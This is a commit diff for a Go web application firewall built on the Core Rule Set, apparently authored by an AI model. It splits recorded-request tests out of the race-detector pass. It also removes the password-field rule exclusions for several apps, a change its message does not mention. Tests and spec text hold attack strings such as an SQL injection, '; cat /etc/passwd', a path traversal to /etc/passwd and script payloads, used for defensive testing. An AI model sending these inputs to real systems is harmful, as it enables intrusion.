Core Rule Set tests: check the recorded requests without the race detector (closes #290)

The tests that check the apps' recorded requests move to
internal/coreruleset/recorded_test.go, behind the recorded build tag. The
test phase runs them in a second go test, without -race.

The Gitea and WordPress tests are split in two. Their recorded-request loops
become TestOrdinaryGiteaRequestsPass and TestOrdinaryWordPressRequestsPass;
their attack checks stay in the race pass as TestGiteaAttacksAreRefused and
TestWordPressAttacksAreRefused.

Model: opus-5-5

Dockerfile

@@ -43,6 +43,12 @@ RUN --mount=type=tmpfs,target=/root/.cache/go-build \
     { echo "--- Rerunning with -v for details ---"; \
       go test -tags no_fs_access -timeout 90s -race -v ./...; exit 1; }
 
+# Second pass: the recorded requests, too slow for make test under -race.
+RUN --mount=type=tmpfs,target=/root/.cache/go-build \
+    go test -tags no_fs_access,recorded -timeout 90s -cover ./internal/coreruleset/... || \
+    { echo "--- Rerunning with -v for details ---"; \
+      go test -tags no_fs_access,recorded -timeout 90s -v ./internal/coreruleset/...; exit 1; }
+
 # Tidy stage: `go mod tidy` in the test phase's Go, so that the files it
 # writes pass the test phase's check. Nothing else depends on it, so only
 # script/tidy, which names the stage after it, builds it.

README.md

@@ -602,10 +602,6 @@ client's limits by tag. See "Request tags" in [`SPEC.md`](SPEC.md).
     - Nextcloud: its sync client gets through. On Nextcloud's own paths, its
       WebDAV methods, searches, file names, account names, comments and
       documents do too.
-- A random password, as a password manager makes one, gets through these forms:
-    - signing in, on WordPress, Drupal, MediaWiki and Nextcloud;
-    - signing in, signing up, changing the password, and moving or deleting the
-      account, on Mastodon.
 - `SWW_CORE_RULE_SET_EXCLUSIONS_FILE` switches single rules off for an app's own
   fields or paths.
 - Rule files are plain text, one rule to a line, edited by hand and read again
@@ -699,7 +695,8 @@ on the host.
 - `script/projectname`: prints `smallwebwaf`, which the other scripts tag their
   images with.
 - `script/test`: checks that `go.mod` and `go.sum` are tidy, then runs the
-  tests, as the `test` phase of the `Dockerfile`. `make test`.
+  tests, as the `test` phase of the `Dockerfile`. It runs them twice: once with
+  the race detector, and once without it for the recorded requests. `make test`.
 - `script/tidy`: writes `go.mod` and `go.sum` as `go mod tidy` writes them, in
   the `tidy` stage of the `Dockerfile`. `make tidy`.
 - `script/lint`: runs golangci-lint, as the `lint` phase of the `Dockerfile`.

SPEC.md

@@ -919,20 +919,7 @@ The changes hold in front of every app, and no setting undoes them:
         - `content` of a reply to a comment sent to `admin-ajax.php`.
         - `newcontent` of a plugin's or a theme's file saved from its editor,
           which is PHP.
-        - `pwd`, the password when signing in, for each rule that random
+        - `pwd` when signing in, for the list of system files (930120).
-          passwords set off:
-
-            920270, 920540, 921200, 930100, 930110, 930120, 932125, 932130,
-            932160, 932230, 932250, 932260, 932270, 932280, 932330, 932340,
-            932370, 932380, 933100, 933135, 933180, 933210, 941100, 941120,
-            941160, 941180, 942100, 942151, 942190, 942230, 942290, 942320,
-            942540, 942550, 944150.
-
-            `' OR '1'='1`, `../../etc/passwd`, `; cat /etc/passwd` and
-            `<img src=x onerror=x()>` sent as the password reach WordPress;
-            `<script>alert(1)</script>` and `javascript:alert(1)` are still
-            refused.
-
         - `title`, `excerpt` and `name` in a JSON body sent to any REST API
           route under `/wp/v2/`, for the rules on system files and commands
           (930120, 932120, 932250, 932260).
@@ -1000,18 +987,6 @@ The changes hold in front of every app, and no setting undoes them:
     - The body and comment body on the node and comment forms and through
       JSON:API, which hold HTML and any code it shows.
     - `name` and `pass` when signing in (930120, 932120, 932250, 932260).
-    - `pass`, the password when signing in, in form data or JSON, for each rule
-      that random passwords set off:
-
-        920270, 920540, 921200, 930100, 930110, 930120, 932125, 932130, 932160,
-        932230, 932250, 932260, 932270, 932280, 932330, 932340, 932370, 932380,
-        933100, 933135, 933180, 933210, 941100, 941120, 941160, 941180, 942100,
-        942151, 942190, 942230, 942290, 942320, 942540, 942550, 944150.
-
-        `' OR '1'='1`, `../../etc/passwd`, `; cat /etc/passwd` and
-        `<img src=x onerror=x()>` sent as the password reach Drupal;
-        `<script>alert(1)</script>` and `javascript:alert(1)` are still refused.
-
     - `name` when resetting a password through Drupal's JSON format on
       `/user/password`, for the same four rules.
     - `mail` in that same reset, for 932120 and 932260 only.
@@ -1091,20 +1066,6 @@ The changes hold in front of every app, and no setting undoes them:
         - `wpTextbox1` on MediaWiki's pages;
         - `text`, `appendtext` and `prependtext` on `/api.php`;
         - `source` in the JSON body of `/rest.php/`.
-    - The passwords when signing in:
-        - `wpPassword` on MediaWiki's pages;
-        - `lgpassword` and `password` on `/api.php`.
-
-        They skip each rule that random passwords set off:
-
-        920270, 920540, 921200, 930100, 930110, 930120, 932125, 932130, 932160,
-        932230, 932250, 932260, 932270, 932280, 932330, 932340, 932370, 932380,
-        933100, 933135, 933180, 933210, 941100, 941120, 941160, 941180, 942100,
-        942151, 942190, 942230, 942290, 942320, 942540, 942550, 944150.
-
-        `' OR '1'='1`, `../../etc/passwd`, `; cat /etc/passwd` and
-        `<img src=x onerror=x()>` sent as a password reach MediaWiki;
-        `<script>alert(1)</script>` and `javascript:alert(1)` are still refused.
 
     These body exclusions matter only while `SWW_WAF_BODY_LIMIT` is set. None
     applies when the query has a parameter of the same name.
@@ -1231,27 +1192,6 @@ The changes hold in front of every app, and no setting undoes them:
     Each name contains `.forward`, a file in a home folder. So 930120 refused
     every report the web app sent. The keys' values keep every rule.
 
-    The passwords in a body:
-    - on `/auth`, `/settings/migration` and `/settings/delete`, and the paths
-      under them:
-        - `user[password]`, `user[password_confirmation]` and
-          `user[current_password]`;
-        - `account_migration[current_password]` and
-          `form_redirect[current_password]`;
-        - `form_delete_confirmation[password]`;
-    - `password` on `/api/v1/accounts`, in form data or JSON.
-
-    They skip each rule that random passwords set off:
-
-    920270, 920540, 921200, 930100, 930110, 930120, 932125, 932130, 932160,
-    932230, 932250, 932260, 932270, 932280, 932330, 932340, 932370, 932380,
-    933100, 933135, 933180, 933210, 941100, 941120, 941160, 941180, 942100,
-    942151, 942190, 942230, 942290, 942320, 942540, 942550, 944150.
-
-    `' OR '1'='1`, `../../etc/passwd`, `; cat /etc/passwd` and
-    `<img src=x onerror=x()>` sent as a password reach Mastodon;
-    `<script>alert(1)</script>` and `javascript:alert(1)` are still refused.
-
     These body exclusions matter only while `SWW_WAF_BODY_LIMIT` is set. None
     applies when the query has a parameter of the same name.
 
@@ -1384,19 +1324,6 @@ The changes hold in front of every app, and no setting undoes them:
       saves.
     - `name` on `/remote.php/dav/systemtags/`, a new tag.
 
-    `password` in the body of `/login`, the password when signing in, skips each
-    rule that random passwords set off:
-
-    920270, 920540, 921200, 930100, 930110, 930120, 932125, 932130, 932160,
-    932230, 932250, 932260, 932270, 932280, 932330, 932340, 932370, 932380,
-    933100, 933135, 933180, 933210, 941100, 941120, 941160, 941180, 942100,
-    942151, 942190, 942230, 942290, 942320, 942540, 942550, 944150.
-
-    It applies only when the query has no `password` parameter. `' OR '1'='1`,
-    `../../etc/passwd`, `; cat /etc/passwd` and `<img src=x onerror=x()>` sent
-    as the password reach Nextcloud; `<script>alert(1)</script>` and
-    `javascript:alert(1)` are still refused.
-
     Some fields hold sentences a person writes:
     - `note`, a share's note, on `apps/files_sharing/api/v1/shares` of the OCS
       API and on each share under it;

internal/coreruleset/coreruleset_test.go

@@ -1,10 +1,7 @@
 package coreruleset_test
 
 import (
-	"context"
-	"encoding/json"
 	"fmt"
-	"math/rand/v2"
 	"net/http"
 	"net/http/httptest"
 	"net/netip"
@@ -575,38 +572,6 @@ func TestExclusionsFileThatCannotBeUsedIsAnError(t *testing.T) {
 	}
 }
 
-// giteaRequests returns the recorded ordinary gitea requests in testdata.
-// Each has the Referer of a page that names the same, as a page opened
-// from it has.
-func giteaRequests(t *testing.T) []request {
-	t.Helper()
-
-	text, err := os.ReadFile(filepath.Join("testdata", "gitea-requests.txt"))
-	if err != nil {
-		t.Fatal(err)
-	}
-
-	var requests []request
-
-	for line := range strings.Lines(string(text)) {
-		line = strings.TrimSpace(line)
-		if line == "" || strings.HasPrefix(line, "#") {
-			continue
-		}
-
-		target, header, _ := strings.Cut(line, " ")
-
-		headers := []string{"Referer: http://git.example" + target}
-		if header != "" {
-			headers = append(headers, header)
-		}
-
-		requests = append(requests, get(target, headers...))
-	}
-
-	return requests
-}
-
 // An SQL injection, a script injection and a shell command after a ";", as
 // query values. Every app's tests check that its fields still refuse the
 // first two.
@@ -626,344 +591,13 @@ const passwordField = "password="
 //nolint:gochecknoglobals // a constant cannot be a list
 var hardValues = []string{"python3", "powershell", "ls%20-la", ".htaccess"}
 
-// randomPassword returns a password of 20 characters, each one of the 95
+func TestGiteaAttacksAreRefused(t *testing.T) {
-// printable ASCII characters, space included, drawn from random.
-func randomPassword(random *rand.Rand) string {
-	const length = 20
-
-	var printable []byte
-	for c := byte(' '); c <= '~'; c++ {
-		printable = append(printable, c)
-	}
-
-	password := make([]byte, length)
-	for i := range password {
-		password[i] = printable[random.IntN(len(printable))]
-	}
-
-	return string(password)
-}
-
-// rarePasswords are random passwords from randomPasswords' seed, found among
-// the first 1,000,000. Each sets off the rule named beside it, which the first
-// 2,000 do not set off.
-//
-//nolint:gochecknoglobals // a constant cannot be a list
-var rarePasswords = []string{
-	"x)g|E0f)~.um%00G]<oA",   // 920270
-	"uC?mK\\U2fEbXA}~j7fPb",  // 920540
-	"4;yfIDKZYNtZT)(w-=%@",   // 921200
-	"`sAIfEVdBprjxR$/.?\\d",  // 930100
-	"Unt@1xza,:%j$/..;5y+",   // 930110
-	"VN.CVsu^3vbUS==4Q&Y@",   // 930120
-	"gJ<EcT)jhZ'`GC>cX~hM",   // 932125
-	" /\"j14y[%\\(iM]zmG%=^", // 932130
-	"\\f*q5v$]$IfS3JoY:*r1",  // 932160
-	"*e#!-z{Jq)Sqwx@k:b:}",   // 932230
-	"pErl>vR[Z7K^<f%_4,WZ",   // 932260
-	"){2P,GU}a3mYvjq^(p1^",   // 932280
-	"xw4UGJk!-8#ZE(`.ij.O",   // 932330
-	" XVw(2mN5R,+%~_f\"n<?",  // 933100
-	"0ZK1D>`RHb+RW${/(z}C",   // 933135
-	"Ep3!qqe 7$RT(_)@SLV6",   // 933180
-	"&:4WomDrn$\"(SE_D);Ja",  // 933210
-	"='nlIgN7ON\\\\mWt=Tr84", // 941120
-	"P]/C>Ef]F-<sV,&gs.[4",   // 941160
-	"<!--a\"9Ju}r!2=J-kZDd",  // 941180
-	"@`].*EJ?`Cw^8\\orD!(f",  // 942151
-	"StTj*t:IF(Uq_<aG0mya",   // 942230
-	"t,D-oJjnvL Dn!o::Int",   // 942320
-	"Z>\"{Z\\QDwqBQs%v}`nBu", // 942550
-	"`aV#3${J4,\\h.q' k\\${", // 944150
-}
-
-// randomPasswords returns 2,000 random passwords from a fixed seed, then
-// rarePasswords.
-func randomPasswords() []string {
-	const count, seed = 2000, 276
-
-	random := rand.New(rand.NewPCG(seed, seed)) //nolint:gosec // a fixed sample
-
-	passwords := make([]string, count, count+len(rarePasswords))
-	for i := range passwords {
-		passwords[i] = randomPassword(random)
-	}
-
-	return append(passwords, rarePasswords...)
-}
-
-// passwordBody returns a body of r's type, form data or JSON, that sends
-// each of passwords in the field name. Coraza checks each value of a field
-// on its own, and keeps every value of a JSON key sent more than once.
-func passwordBody(t *testing.T, r request, name string, passwords ...string) string {
-	t.Helper()
-
-	if r.headers[0] != jsonBody {
-		return formBody(name, passwords...)
-	}
-
-	values := make([]string, len(passwords))
-
-	for i, password := range passwords {
-		pair, err := json.Marshal(map[string]string{name: password})
-		if err != nil {
-			t.Fatal(err)
-		}
-
-		values[i] = strings.Trim(string(pair), "{}")
-	}
-
-	return "{" + strings.Join(values, ",") + "}"
-}
-
-// formBody returns a form data body that sends each of values in the field
-// name.
-func formBody(name string, values ...string) string {
-	fields := make([]string, len(values))
-	for i, value := range values {
-		fields[i] = url.QueryEscape(name) + "=" + url.QueryEscape(value)
-	}
-
-	return strings.Join(fields, "&")
-}
-
-// setsOffARule reports whether body, form data sent to / as a browser
-// sends it, sets off a rule in crs.
-func setsOffARule(crs *coreruleset.CoreRuleSet, body string) bool {
-	req := httptest.NewRequestWithContext(context.Background(), http.MethodPost,
-		"http://git.example/", strings.NewReader(body))
-	req.Header.Set("Content-Type", "application/x-www-form-urlencoded")
-	req.Header.Set("Content-Length", strconv.Itoa(len(body)))
-	req.Header.Set("User-Agent", "Mozilla/5.0 (X11; Linux x86_64; rv:131.0) "+
-		"Gecko/20100101 Firefox/131.0")
-	req.Header.Set("Accept", "text/html")
-
-	// The body is read from memory, which cannot fail.
-	result, _, _ := crs.Inspect(req, netip.MustParseAddr("203.0.113.9"), req.Body)
-
-	return len(result.RuleIDs) > 0
-}
-
-// findMisfiringPasswords returns those of randomPasswords that set off a
-// rule in the form data field password on /, which no exclusion names, while
-// bodies are read. It runs once, for every test that asks. Each body sends
-// ten passwords, and a body that sets off a rule is sent again one password
-// at a time.
-//
-//nolint:gochecknoglobals // the tests share it
-var findMisfiringPasswords = sync.OnceValues(func() ([]string, error) {
-	const workers, perBody = 16, 10
-
-	crs, err := loaderFor(coreruleset.Params{
-		ParanoiaLevel: 1, DisabledRules: defaultDisabledRules, BodyLimit: bodyLimit,
-	})()
-	if err != nil {
-		return nil, err
-	}
-
-	passwords := randomPasswords()
-	misfires := make([]bool, len(passwords))
-
-	var inspecting sync.WaitGroup
-
-	for worker := range workers {
-		inspecting.Go(func() {
-			for first := worker * perBody; first < len(passwords); first += workers * perBody {
-				last := min(first+perBody, len(passwords))
-				if !setsOffARule(crs, formBody("password", passwords[first:last]...)) {
-					continue
-				}
-
-				for i := first; i < last; i++ {
-					misfires[i] = setsOffARule(crs, formBody("password", passwords[i]))
-				}
-			}
-		})
-	}
-
-	inspecting.Wait()
-
-	var misfiring []string
-
-	for i, password := range passwords {
-		if misfires[i] {
-			misfiring = append(misfiring, password)
-		}
-	}
-
-	return misfiring, nil
-})
-
-// misfiringPasswords returns those of randomPasswords that set off a rule in
-// a field no exclusion names. The rules that misfire on a password read its
-// value, not the name of its field. So the other random passwords set off no
-// rule in any field.
-func misfiringPasswords(t *testing.T) []string {
-	t.Helper()
-
-	misfiring, err := findMisfiringPasswords()
-	if err != nil {
-		t.Fatalf("load the Core Rule Set: %v", err)
-	}
-
-	for _, rare := range rarePasswords {
-		if !slices.Contains(misfiring, rare) {
-			t.Fatalf("%q sets off no rule in a field no exclusion names", rare)
-		}
-	}
-
-	return misfiring
-}
-
-// wantRandomPasswordsPass checks that none of randomPasswords, sent in the
-// field name of r's body, is refused while bodies are read. r's Content-Type
-// is form data or JSON. Only the passwords misfiringPasswords returns set off
-// a rule in some field, so only they are sent, all in one body. If it is
-// refused, each is sent again on its own, to name those refused.
-func wantRandomPasswordsPass(t *testing.T, r request, name string) {
-	t.Helper()
-
-	const threshold = 5 // SWW_WAF_ANOMALY_THRESHOLD's default
-
-	crs := readingBodies(t)
-	misfiring := misfiringPasswords(t)
-
-	body := passwordBody(t, r, name, misfiring...)
-	if len(body) > bodyLimit {
-		t.Fatalf("a body of %d bytes is cut at bodyLimit", len(body))
-	}
-
-	if got, _ := inspectBody(t, crs, r, body); got.Score < threshold {
-		return
-	}
-
-	for _, password := range misfiring {
-		body := passwordBody(t, r, name, password)
-		if got, _ := inspectBody(t, crs, r, body); got.Score >= threshold {
-			t.Errorf("%s %s %s %q refused: %+v", r.method, r.target, name,
-				password, got)
-		}
-	}
-}
-
-// wantPasswordAttacksPass checks that an SQL injection, a path traversal, a
-// shell command and a script in an event handler, each sent as the whole
-// password in the field name of r's body, pass while bodies are read.
-func wantPasswordAttacksPass(t *testing.T, r request, name string) {
-	t.Helper()
-
-	const threshold = 5 // SWW_WAF_ANOMALY_THRESHOLD's default
-
-	for _, attack := range []string{
-		"' OR '1'='1", pathTraversal, "; cat /etc/passwd",
-		"<img src=x onerror=x()>",
-	} {
-		body := passwordBody(t, r, name, attack)
-		if got, _ := inspectBody(t, readingBodies(t), r, body); got.Score >= threshold {
-			t.Errorf("%s %s %s %q refused: %+v", r.method, r.target, name,
-				attack, got)
-		}
-	}
-}
-
-// wantPasswordAttacksRefused checks that a script tag and a javascript: link,
-// each sent as the whole password in the field name of r's body, are refused
-// while bodies are read.
-func wantPasswordAttacksRefused(t *testing.T, r request, name string) {
-	t.Helper()
-
-	const threshold = 5 // SWW_WAF_ANOMALY_THRESHOLD's default
-
-	for _, attack := range []string{scriptTag, "javascript:alert(1)"} {
-		body := passwordBody(t, r, name, attack)
-		if got, _ := inspectBody(t, readingBodies(t), r, body); got.Score < threshold {
-			t.Errorf("%s %s %s %q let through: %+v", r.method, r.target, name,
-				attack, got)
-		}
-	}
-}
-
-func TestPasswordFieldsStayCheckedInTheQuery(t *testing.T) {
-	t.Parallel()
-
-	const threshold = 5 // SWW_WAF_ANOMALY_THRESHOLD's default
-
-	crs := readingBodies(t)
-
-	// These fields skip the rules only when the query has no field of the
-	// same name. An SQL injection in the query is refused.
-	for _, sent := range []struct{ path, field string }{
-		{nextcloudSignIn, passwordField},
-		{mediawikiAPI, passwordField},
-		{mediawikiAPI, "lgpassword="},
-	} {
-		r := request{
-			http.MethodPost, sent.path + "?" + sent.field + "'%20OR%20'1'='1",
-			[]string{formData},
-		}
-
-		got, _ := inspectBody(t, crs, r, sent.field+"example")
-		if got.Score < threshold {
-			t.Errorf("POST %s let through: %+v", r.target, got)
-		}
-	}
-}
-
-// wantRecordedRequestsPass checks that none of the recorded ordinary
-// requests in the file name in testdata is refused, at the defaults and
-// while bodies are read. A request with neither a body nor a Content-Type
-// header is checked only at the defaults: with neither, the set that reads
-// bodies has nothing more to check. Each request runs as its own parallel
-// subtest.
-func wantRecordedRequestsPass(t *testing.T, name string) {
-	t.Helper()
-
-	const threshold = 5 // SWW_WAF_ANOMALY_THRESHOLD's default
-
-	defaults, bodies := atDefaults(t), readingBodies(t)
-
-	for _, recorded := range recordedRequests(t, name) {
-		t.Run(recorded.Method+" "+recorded.Target, func(t *testing.T) {
-			t.Parallel()
-
-			r := request{recorded.Method, recorded.Target, recorded.Headers}
-
-			got, _ := inspectBody(t, defaults, r, recorded.Body)
-			if got.Score >= threshold {
-				t.Errorf("%s %s refused: %+v", r.method, r.target, got)
-			}
-
-			typed := slices.ContainsFunc(recorded.Headers, func(header string) bool {
-				name, _, _ := strings.Cut(header, ":")
-
-				return strings.EqualFold(name, "Content-Type")
-			})
-			if recorded.Body == "" && !typed {
-				return
-			}
-
-			got, _ = inspectBody(t, bodies, r, recorded.Body)
-			if got.Score >= threshold {
-				t.Errorf("%s %s %.200q refused while bodies are read: %+v",
-					r.method, r.target, recorded.Body, got)
-			}
-		})
-	}
-}
-
-func TestOrdinaryGiteaRequestsPassAndAttacksAreRefused(t *testing.T) {
 	t.Parallel()
 
 	const threshold = 5 // SWW_WAF_ANOMALY_THRESHOLD's default
 
 	crs := atDefaults(t)
 
-	for _, r := range giteaRequests(t) {
-		if got := inspect(t, crs, r); got.Score >= threshold {
-			t.Errorf("%s %q refused: %+v", r.target, r.headers[1:], got)
-		}
-	}
-
 	// In q too, off gitea's search pages.
 	for _, parameter := range []string{"id", "q"} {
 		for _, attack := range []string{
@@ -1016,46 +650,6 @@ const (
 	wpTags    = "/wp-json/wp/v2/tags"
 )
 
-// recordedRequest is a line of a file of recorded requests in testdata.
-type recordedRequest struct {
-	Method  string   `json:"method"`
-	Target  string   `json:"target"`
-	Headers []string `json:"headers"`
-	Body    string   `json:"body"`
-}
-
-// recordedRequests returns the recorded ordinary requests in the file name
-// in testdata, each with its body.
-func recordedRequests(t *testing.T, name string) []recordedRequest {
-	t.Helper()
-
-	path := filepath.Join("testdata", name)
-
-	text, err := os.ReadFile(path) //nolint:gosec // a file in testdata
-	if err != nil {
-		t.Fatal(err)
-	}
-
-	var requests []recordedRequest
-
-	for line := range strings.Lines(string(text)) {
-		if strings.HasPrefix(line, "#") {
-			continue
-		}
-
-		var r recordedRequest
-
-		err := json.Unmarshal([]byte(line), &r)
-		if err != nil {
-			t.Fatalf("%q: %v", line, err)
-		}
-
-		requests = append(requests, r)
-	}
-
-	return requests
-}
-
 // readingBodiesUpTo64K returns the Core Rule Set as sww runs it by default,
 // but reading bodies up to the largest SWW_WAF_BODY_LIMIT.
 func readingBodiesUpTo64K(t *testing.T) *coreruleset.CoreRuleSet {
@@ -1121,33 +715,13 @@ func wordpressAttackTargets(attack string) []string {
 	}
 }
 
-func TestOrdinaryWordPressRequestsPassAndAttacksAreRefused(t *testing.T) {
+func TestWordPressAttacksAreRefused(t *testing.T) {
 	t.Parallel()
 
 	const threshold = 5 // SWW_WAF_ANOMALY_THRESHOLD's default
 
 	defaults, bodies := atDefaults(t), readingBodiesUpTo64K(t)
 
-	for _, recorded := range recordedRequests(t, "wordpress-requests.txt") {
-		t.Run(recorded.Method+" "+recorded.Target, func(t *testing.T) {
-			t.Parallel()
-
-			r := request{recorded.Method, recorded.Target, recorded.Headers}
-
-			crsSets := []*coreruleset.CoreRuleSet{defaults}
-			if recorded.Body != "" {
-				crsSets = append(crsSets, bodies)
-			}
-
-			for _, crs := range crsSets {
-				got, _ := inspectBody(t, crs, r, recorded.Body)
-				if got.Score >= threshold {
-					t.Errorf("%s %s %.200q refused: %+v", r.method, r.target, recorded.Body, got)
-				}
-			}
-		})
-	}
-
 	for _, attack := range []string{
 		sqlInjection,
 		"..%2F..%2Fwp-config.php",
@@ -1633,16 +1207,6 @@ func TestWordPressBodyNamesAndAddressesAreExcludedOnlyThere(t *testing.T) {
 	wantBody(t, crs, comment, "url=ls+-la", matched(932250), "url=ls+-la")
 }
 
-func TestWordPressPasswordsPass(t *testing.T) {
-	t.Parallel()
-
-	signIn := request{http.MethodPost, wpLogin, []string{formData}}
-
-	wantRandomPasswordsPass(t, signIn, "pwd")
-	wantPasswordAttacksPass(t, signIn, "pwd")
-	wantPasswordAttacksRefused(t, signIn, "pwd")
-}
-
 func TestWordPressExclusionsAreNarrow(t *testing.T) {
 	t.Parallel()
 
@@ -1700,9 +1264,6 @@ const injection = "1' OR '1'='1"
 // scriptTag is a script injection, not escaped.
 const scriptTag = "<script>alert(1)</script>"
 
-// pathTraversal is a path traversal, not escaped.
-const pathTraversal = "../../etc/passwd"
-
 // readingBodies returns the Core Rule Set as sww runs it by
 // default, but reading bodies up to bodyLimit.
 func readingBodies(t *testing.T) *coreruleset.CoreRuleSet {

internal/coreruleset/drupal.conf

@@ -184,46 +184,6 @@ SecRule REQUEST_FILENAME "@rx ^(?:/[a-z]{2,3}(?:-[a-z]+)?)?/user/login$" \
         ctl:ruleRemoveTargetById=932250;ARGS:/^(?:json\.)?(?:name|pass)$/,\
         ctl:ruleRemoveTargetById=932260;ARGS:/^(?:json\.)?(?:name|pass)$/"
 
-# The password, pass, skips each rule that random passwords set off.
-SecRule REQUEST_FILENAME "@rx ^(?:/[a-z]{2,3}(?:-[a-z]+)?)?/user/login$" \
-    "id:900819,phase:1,pass,nolog,chain"
-    SecRule &ARGS_GET:/^(?:json\.)?pass$/ "@eq 0" \
-        "ctl:ruleRemoveTargetById=920270;ARGS:/^(?:json\.)?pass$/,\
-        ctl:ruleRemoveTargetById=920540;ARGS:/^(?:json\.)?pass$/,\
-        ctl:ruleRemoveTargetById=921200;ARGS:/^(?:json\.)?pass$/,\
-        ctl:ruleRemoveTargetById=930100;ARGS:/^(?:json\.)?pass$/,\
-        ctl:ruleRemoveTargetById=930110;ARGS:/^(?:json\.)?pass$/,\
-        ctl:ruleRemoveTargetById=930120;ARGS:/^(?:json\.)?pass$/,\
-        ctl:ruleRemoveTargetById=932125;ARGS:/^(?:json\.)?pass$/,\
-        ctl:ruleRemoveTargetById=932130;ARGS:/^(?:json\.)?pass$/,\
-        ctl:ruleRemoveTargetById=932160;ARGS:/^(?:json\.)?pass$/,\
-        ctl:ruleRemoveTargetById=932230;ARGS:/^(?:json\.)?pass$/,\
-        ctl:ruleRemoveTargetById=932250;ARGS:/^(?:json\.)?pass$/,\
-        ctl:ruleRemoveTargetById=932260;ARGS:/^(?:json\.)?pass$/,\
-        ctl:ruleRemoveTargetById=932270;ARGS:/^(?:json\.)?pass$/,\
-        ctl:ruleRemoveTargetById=932280;ARGS:/^(?:json\.)?pass$/,\
-        ctl:ruleRemoveTargetById=932330;ARGS:/^(?:json\.)?pass$/,\
-        ctl:ruleRemoveTargetById=932340;ARGS:/^(?:json\.)?pass$/,\
-        ctl:ruleRemoveTargetById=932370;ARGS:/^(?:json\.)?pass$/,\
-        ctl:ruleRemoveTargetById=932380;ARGS:/^(?:json\.)?pass$/,\
-        ctl:ruleRemoveTargetById=933100;ARGS:/^(?:json\.)?pass$/,\
-        ctl:ruleRemoveTargetById=933135;ARGS:/^(?:json\.)?pass$/,\
-        ctl:ruleRemoveTargetById=933180;ARGS:/^(?:json\.)?pass$/,\
-        ctl:ruleRemoveTargetById=933210;ARGS:/^(?:json\.)?pass$/,\
-        ctl:ruleRemoveTargetById=941100;ARGS:/^(?:json\.)?pass$/,\
-        ctl:ruleRemoveTargetById=941120;ARGS:/^(?:json\.)?pass$/,\
-        ctl:ruleRemoveTargetById=941160;ARGS:/^(?:json\.)?pass$/,\
-        ctl:ruleRemoveTargetById=941180;ARGS:/^(?:json\.)?pass$/,\
-        ctl:ruleRemoveTargetById=942100;ARGS:/^(?:json\.)?pass$/,\
-        ctl:ruleRemoveTargetById=942151;ARGS:/^(?:json\.)?pass$/,\
-        ctl:ruleRemoveTargetById=942190;ARGS:/^(?:json\.)?pass$/,\
-        ctl:ruleRemoveTargetById=942230;ARGS:/^(?:json\.)?pass$/,\
-        ctl:ruleRemoveTargetById=942290;ARGS:/^(?:json\.)?pass$/,\
-        ctl:ruleRemoveTargetById=942320;ARGS:/^(?:json\.)?pass$/,\
-        ctl:ruleRemoveTargetById=942540;ARGS:/^(?:json\.)?pass$/,\
-        ctl:ruleRemoveTargetById=942550;ARGS:/^(?:json\.)?pass$/,\
-        ctl:ruleRemoveTargetById=944150;ARGS:/^(?:json\.)?pass$/"
-
 # A person's name and email address, when signing up, when editing an
 # account and when commenting without an account. A name of python3 refused
 # signing up, and python3@example.com refused saving an account. An address

internal/coreruleset/drupal_test.go

@@ -31,12 +31,6 @@ const drupalEditAccount = "/user/2/edit"
 // drupalName is the field for a person's name, as the start of a form body.
 const drupalName = "name="
 
-func TestOrdinaryDrupalRequestsPass(t *testing.T) {
-	t.Parallel()
-
-	wantRecordedRequestsPass(t, "drupal-requests.txt")
-}
-
 // drupalAttacks are an SQL injection, a path traversal and a script
 // injection, as a query value.
 //
@@ -109,6 +103,7 @@ func TestDrupalAttacksAreRefusedInTheExcludedBodyFields(t *testing.T) {
 			{reply, "comment_body%5B0%5D%5Bvalue%5D=" + attack},
 			{reply, "subject%5B0%5D%5Bvalue%5D=" + attack},
 			{reply, drupalName + attack},
+			{drupalSignIn, "pass=" + attack},
 			{drupalSignIn, drupalName + attack},
 			{"/fr/user/login", drupalName + attack},
 			{"/user/register", drupalName + attack},
@@ -171,23 +166,6 @@ func TestDrupalAttacksAreRefusedInTheExcludedBodyFields(t *testing.T) {
 	}
 }
 
-func TestDrupalPasswordPasses(t *testing.T) {
-	t.Parallel()
-
-	for _, r := range []request{
-		{http.MethodPost, drupalSignIn, []string{formData}},
-		{http.MethodPost, drupalJSONSignIn, []string{jsonBody}},
-	} {
-		t.Run(r.target, func(t *testing.T) {
-			t.Parallel()
-
-			wantRandomPasswordsPass(t, r, "pass")
-			wantPasswordAttacksPass(t, r, "pass")
-			wantPasswordAttacksRefused(t, r, "pass")
-		})
-	}
-}
-
 func TestDrupalAttacksAreRefusedInTheJSONPasswordReset(t *testing.T) {
 	t.Parallel()
 

internal/coreruleset/mastodon.conf

@@ -176,85 +176,6 @@ SecRule REQUEST_FILENAME "@streq /api/v1/accounts" \
         ctl:ruleRemoveTargetById=932250;ARGS:/^(?:json\.)?(?:password|reason)$/,\
         ctl:ruleRemoveTargetById=932260;ARGS:/^(?:json\.)?(?:password|reason)$/"
 
-# The passwords named above skip each rule that random passwords set off.
-SecRule REQUEST_FILENAME "@rx ^/(?:settings/(?:migration|delete)|auth)(?:/|$)" \
-    "id:900965,phase:1,pass,nolog,chain"
-    SecRule &ARGS_GET:/^(?:user\[(?:password|password_confirmation|current_password)\]|(?:account_migration|form_redirect)\[current_password\]|form_delete_confirmation\[password\])$/ "@eq 0" \
-        "ctl:ruleRemoveTargetById=920270;ARGS:/^(?:user\[(?:password|password_confirmation|current_password)\]|(?:account_migration|form_redirect)\[current_password\]|form_delete_confirmation\[password\])$/,\
-        ctl:ruleRemoveTargetById=920540;ARGS:/^(?:user\[(?:password|password_confirmation|current_password)\]|(?:account_migration|form_redirect)\[current_password\]|form_delete_confirmation\[password\])$/,\
-        ctl:ruleRemoveTargetById=921200;ARGS:/^(?:user\[(?:password|password_confirmation|current_password)\]|(?:account_migration|form_redirect)\[current_password\]|form_delete_confirmation\[password\])$/,\
-        ctl:ruleRemoveTargetById=930100;ARGS:/^(?:user\[(?:password|password_confirmation|current_password)\]|(?:account_migration|form_redirect)\[current_password\]|form_delete_confirmation\[password\])$/,\
-        ctl:ruleRemoveTargetById=930110;ARGS:/^(?:user\[(?:password|password_confirmation|current_password)\]|(?:account_migration|form_redirect)\[current_password\]|form_delete_confirmation\[password\])$/,\
-        ctl:ruleRemoveTargetById=930120;ARGS:/^(?:user\[(?:password|password_confirmation|current_password)\]|(?:account_migration|form_redirect)\[current_password\]|form_delete_confirmation\[password\])$/,\
-        ctl:ruleRemoveTargetById=932125;ARGS:/^(?:user\[(?:password|password_confirmation|current_password)\]|(?:account_migration|form_redirect)\[current_password\]|form_delete_confirmation\[password\])$/,\
